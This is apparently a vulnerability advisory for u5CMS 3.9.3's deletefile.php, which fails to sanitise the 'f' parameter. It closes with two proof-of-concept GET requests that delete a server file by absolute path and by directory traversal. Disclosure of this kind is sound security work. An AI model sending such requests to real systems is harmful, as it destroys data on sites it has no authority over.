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u5CMS 3.9.3 Arbitrary File Deletion

u5CMS 3.9.3 Arbitrary File Deletion
Posted Feb 9, 2015
Authored by LiquidWorm | Site zeroscience.mk

u5CMS version 3.9.3 suffers from a remote arbitrary file deletion vulnerability.

tags | exploit, remote, arbitrary
SHA-256 | 9da13126f17b6a7f1e71e3c840231ecbefd53d013b3fb52be45e8c9b8a084de9

u5CMS 3.9.3 Arbitrary File Deletion

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u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability


Vendor: Stefan P. Minder
Product web page: http://www.yuba.ch
Affected version: 3.9.3 and 3.9.2

Summary: u5CMS is a little, handy Content Management System for medium-sized
websites, conference / congress / submission administration, review processes,
personalized serial mails, PayPal payments and online surveys based on PHP and
MySQL and Apache.

Desc: Input passed to the 'f' parameter in 'deletefile.php' is not properly
sanitised before being used to delete files. This can be exploited to delete
files with the permissions of the web server using their absolute path or via
directory traversal sequences passed within the affected GET parameter.

Tested on: Apache 2.4.10 (Win32)
PHP 5.6.3
MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2015-5226
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5226.php


29.12.2014

---


Target: C:\deleteme.txt
-----------------------

GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=/deleteme.txt HTTP/1.1
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../../../../../../deleteme.txt HTTP/1.1
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